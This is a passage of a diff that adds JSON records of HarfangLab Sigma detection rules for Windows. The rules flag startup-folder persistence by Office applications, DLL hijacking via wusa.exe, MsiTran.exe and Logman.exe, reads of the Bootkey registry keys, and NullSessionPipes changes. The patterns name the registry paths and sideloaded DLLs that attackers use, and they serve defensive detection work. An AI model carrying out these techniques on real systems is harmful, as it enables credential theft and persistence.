+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088839Z",
+  "creation_date": "2026-03-23T11:45:34.088841Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088845Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_persistence_file_startup_phishing_attack.yml",
+  "content": "title: Suspicious File Added/Modified in Startup Directory by Office Application\nid: 1548f31b-b093-436b-a9cb-97bc28e00de7\ndescription: |\n    Detects when a file is added or modified in the startup directory in relation with a phishing attack.\n    After compromising a host, attackers may achieve persistence by adding a program to a startup folder.\n    It is recommended to analyze the process dropping the file as well as the file itself to look for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2022/06/20\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection_event:\n        Kind:\n            - 'create'\n            - 'write'\n        Path|contains:\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'  # individual user : c:\\users\\xxx\\appdata\\...\n            - '\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\'  # all users\n\n    selection_image:\n        ProcessImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\OUTLOOK.EXE'\n            - '\\MSPUB.EXE'\n            - '\\POWERPNT.EXE'\n\n    selection_parentimage:\n        ProcessParentImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\OUTLOOK.EXE'\n            - '\\MSPUB.EXE'\n            - '\\POWERPNT.EXE'\n\n    selection_extension:\n        Path|endswith:\n            - '.bat'\n            - '.chm'\n            - '.cmd'\n            - '.cpl'\n            - '.exe'\n            - '.hta'\n            - '.js'\n            - '.jse'\n            - '.lnk'\n            - '.ps1'\n            - '.scr'\n            - '.vbe'\n            - '.vbs'\n            - '.wsf'\n\n    exclusion_onenote:\n        ProcessImage: '*\\Office??\\ONENOTE.EXE'\n        Path:\n            - '*OneNote*.lnk'  # Envoyer a OneNote.lnk / Send to OneNote.lnk / An OneNote senden.lnk\n            - '*\\OneNote ???? *.lnk' # OneNote 2010 Screen Clipper and Launcher.lnk / OneNote 2010 - Capture d'ecran et lancement.lnk\n\n    exclusion_astngo:\n        ProcessCommandLine|contains: '--single-argument https://my.astngo.com/'\n\n    condition: selection_event and selection_extension and (selection_image or selection_parentimage) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1548f31b-b093-436b-a9cb-97bc28e00de7",
+  "rule_name": "Suspicious File Added/Modified in Startup Directory by Office Application",
+  "rule_description": "Detects when a file is added or modified in the startup directory in relation with a phishing attack.\nAfter compromising a host, attackers may achieve persistence by adding a program to a startup folder.\nIt is recommended to analyze the process dropping the file as well as the file itself to look for malicious content.\n",
+  "rule_creation_date": "2022-06-20",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "156f56a4-6a01-405e-9c87-d4546f76e6a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588600Z",
+  "creation_date": "2026-03-23T11:45:34.588603Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588611Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wusa.yml",
+  "content": "title: DLL Hijacking via wusa.exe\nid: 156f56a4-6a01-405e-9c87-d4546f76e6a1\ndescription: |\n    Detects potential Windows DLL Hijacking via wusa.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wusa.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dpx.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "156f56a4-6a01-405e-9c87-d4546f76e6a1",
+  "rule_name": "DLL Hijacking via wusa.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wusa.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "15957b9b-c39e-4caf-af47-506917f3c1e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095096Z",
+  "creation_date": "2026-03-23T11:45:34.095098Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095102Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/remote-hash-extraction-on-demand-via-host-security-descriptor-modification-2cf505ec5c40",
+    "https://attack.mitre.org/techniques/T1552/002/"
+  ],
+  "name": "t1003_002_susp_registry_read_bootkey.yml",
+  "content": "title: Windows Bootkey Read from Registry\nid: 15957b9b-c39e-4caf-af47-506917f3c1e2\ndescription: |\n    Detects a suspicious read operation on registry keys storing Windows Bootkey also referred to as the SysKey.\n    The BootKey/SysKey is an encryption key that is stored in the Windows SYSTEM registry hive.\n    This key is used by several Windows components to encrypt sensitive information like the AD database, machine account password or system certificates.\n    It is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\nreferences:\n    - https://posts.specterops.io/remote-hash-extraction-on-demand-via-host-security-descriptor-modification-2cf505ec5c40\n    - https://attack.mitre.org/techniques/T1552/002/\ndate: 2024/04/02\nmodified: 2025/09/25\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.002\n    - attack.discovery\n    - attack.t1012\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'ReadValue'\n        TargetObject|startswith:\n            - 'HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\\JD\\'\n            - 'HKLM\\SYSTEM\\CONTROLSET???\\CONTROL\\LSA\\JD\\'\n            - 'HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\\SKEW1\\'\n            - 'HKLM\\SYSTEM\\CONTROLSET???\\CONTROL\\LSA\\SKEW1\\'\n            - 'HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\\GBG\\'\n            - 'HKLM\\SYSTEM\\CONTROLSET???\\CONTROL\\LSA\\GBG\\'\n            - 'HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\\DATA\\'\n            - 'HKLM\\SYSTEM\\CONTROLSET???\\CONTROL\\LSA\\DATA\\'\n\n    filter_lsass:\n        Image:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n\n    filter_logonui:\n        ProcessImage: '?:\\Windows\\System32\\logonui.exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_setup_host:\n        - Image: '?:\\$WINDOWS.~BT\\Sources\\\\*.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Microsoft Windows'\n        # Altered versions of Windows can sometimes be unsigned.\n        - Image: '?:\\$WINDOWS.~BT\\Sources\\\\*.exe'\n          ProcessParentOriginalFileName: 'SetupPrep.exe'\n\n    # Too many fp, maybe a normal behavior in order to decode some information in registry\n    exclusion_regedit:\n        Image:\n            - '?:\\Windows\\regedit.exe'\n            - '?:\\Windows\\SysWOW64\\regedit.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_wmiprvse:\n        Image: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_ivanti:\n        Image|endswith: '\\SupportToolkit.exe'\n        ProcessOriginalFileName: 'SupportToolkit.exe'\n        ProcessDescription: 'Ivanti Support Toolkit'\n\n    exclusion_fennec_windows:\n        ProcessOriginalFileName: 'Fox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "15957b9b-c39e-4caf-af47-506917f3c1e2",
+  "rule_name": "Windows Bootkey Read from Registry",
+  "rule_description": "Detects a suspicious read operation on registry keys storing Windows Bootkey also referred to as the SysKey.\nThe BootKey/SysKey is an encryption key that is stored in the Windows SYSTEM registry hive.\nThis key is used by several Windows components to encrypt sensitive information like the AD database, machine account password or system certificates.\nIt is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2025-09-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1012",
+    "attack.t1552.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "15aecbb0-3084-4252-96c2-c5ab1b3d4ea3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621211Z",
+  "creation_date": "2026-03-23T11:45:34.621213Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621217Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://web.archive.org/web/20230726161232/",
+    "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity",
+    "https://attack.mitre.org/techniques/T1021/001/",
+    "https://attack.mitre.org/techniques/T1021/002/",
+    "https://attack.mitre.org/techniques/T1071/"
+  ],
+  "name": "t1021_001_nullsessionpipe_added_in_registry.yml",
+  "content": "title: Null Session Pipe Added in Registry\nid: 15aecbb0-3084-4252-96c2-c5ab1b3d4ea3\ndescription: |\n    Detects the modification of the LanmanServer Registry configuration allowing for Null Sessions to access a new pipe.\n    Attackers can use this technique to allow all anonymous users to access a specific pipe, for example to perform lateralization through RDP.\n    It is recommended to analyze the process responsible for the registry modification to look for malicious content or actions, and to investigate any subsequent suspicious actions (e.g RDP) on the host.\nreferences:\n    - https://web.archive.org/web/20230726161232/\n    - https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity\n    - https://attack.mitre.org/techniques/T1021/001/\n    - https://attack.mitre.org/techniques/T1021/002/\n    - https://attack.mitre.org/techniques/T1071/\ndate: 2022/11/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.t1562\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Services\\LanManServer\\Parameters\\NullSessionPipes'\n\n    filter_empty:\n        Details:\n            - ''\n            - '(Empty)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_expressconnect:\n        ProcessImage:\n            - '?:\\Program Files\\ExpressConnect\\ExpressConnect.exe'\n            - '?:\\Program Files (x86)\\ExpressConnect\\ExpressConnect.exe'\n\n    exclusion_raps:\n        ProcessImage: '?:\\Program Files\\Rivet Networks\\SmartByte\\RAPS.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Rivet Networks LLC'\n\n    exclusion_tiworker:\n        - ProcessCommandLine: '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe -Embedding'\n        - ProcessParentCommandLine: '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe -Embedding'\n\n    exclusion_rivet:\n        ProcessParentImage:\n            - '?:\\Program Files\\Rivet Networks\\SmartByte\\RAPSService.exe'\n            - '?:\\Windows\\System32\\drivers\\RivetNetworks\\Killer\\KAPSService.exe'\n            - '?:\\Windows\\System32\\drivers\\RivetNetworks\\Killer\\KSPSService.exe'\n            - '?:\\Windows\\System32\\drivers\\RivetNetworks\\Killer\\xTendSoftAPService.exe'\n            - '?:\\Windows\\System32\\drivers\\RivetNetworks\\Killer\\xTendUtilityService.exe'\n\n    exclusion_lsass:\n        ProcessImage: '?:\\Windows\\System32\\lsass.exe'\n        Details:\n            - ';netlogon;samr'\n            - ';netlogon;samr;lsarpc'\n\n    exclusion_etiam:\n        ProcessImage: '?:\\Program Files (x86)\\ETIAM\\IDA\\idaSCP.exe'\n\n    exclusion_epson:\n        ProcessImage|endswith: '\\PLPOUSVR.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'SEIKO EPSON CORPORATION'\n\n    exclusion_hp:\n        ProcessImage|endswith: '\\flcdlock.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'HP Inc.'\n            - 'Hewlett Packard Enterprise Company'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "15aecbb0-3084-4252-96c2-c5ab1b3d4ea3",
+  "rule_name": "Null Session Pipe Added in Registry",
+  "rule_description": "Detects the modification of the LanmanServer Registry configuration allowing for Null Sessions to access a new pipe.\nAttackers can use this technique to allow all anonymous users to access a specific pipe, for example to perform lateralization through RDP.\nIt is recommended to analyze the process responsible for the registry modification to look for malicious content or actions, and to investigate any subsequent suspicious actions (e.g RDP) on the host.\n",
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1071",
+    "attack.t1112",
+    "attack.t1562"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "15cc636a-9f89-4eaa-b9fe-04eb31aca42e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587835Z",
+  "creation_date": "2026-03-23T11:45:34.587838Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587846Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msitran.yml",
+  "content": "title: DLL Hijacking via MsiTran.exe\nid: 15cc636a-9f89-4eaa-b9fe-04eb31aca42e\ndescription: |\n    Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiTran.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/04\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MsiTran.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\msi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "15cc636a-9f89-4eaa-b9fe-04eb31aca42e",
+  "rule_name": "DLL Hijacking via MsiTran.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiTran.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "15ce1c4e-d54d-4d1b-9248-cfbf35c8c14a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593856Z",
+  "creation_date": "2026-03-23T11:45:34.593859Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593867Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_logman.yml",
+  "content": "title: DLL Hijacking via Logman.exe\nid: 15ce1c4e-d54d-4d1b-9248-cfbf35c8c14a\ndescription: |\n    Detects potential Windows DLL Hijacking via Logman.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Logman.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cabinet.dll'\n            - '\\pdh.dll'\n            - '\\pla.dll'\n            - '\\sspicli.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "15ce1c4e-d54d-4d1b-9248-cfbf35c8c14a",
+  "rule_name": "DLL Hijacking via Logman.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Logman.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
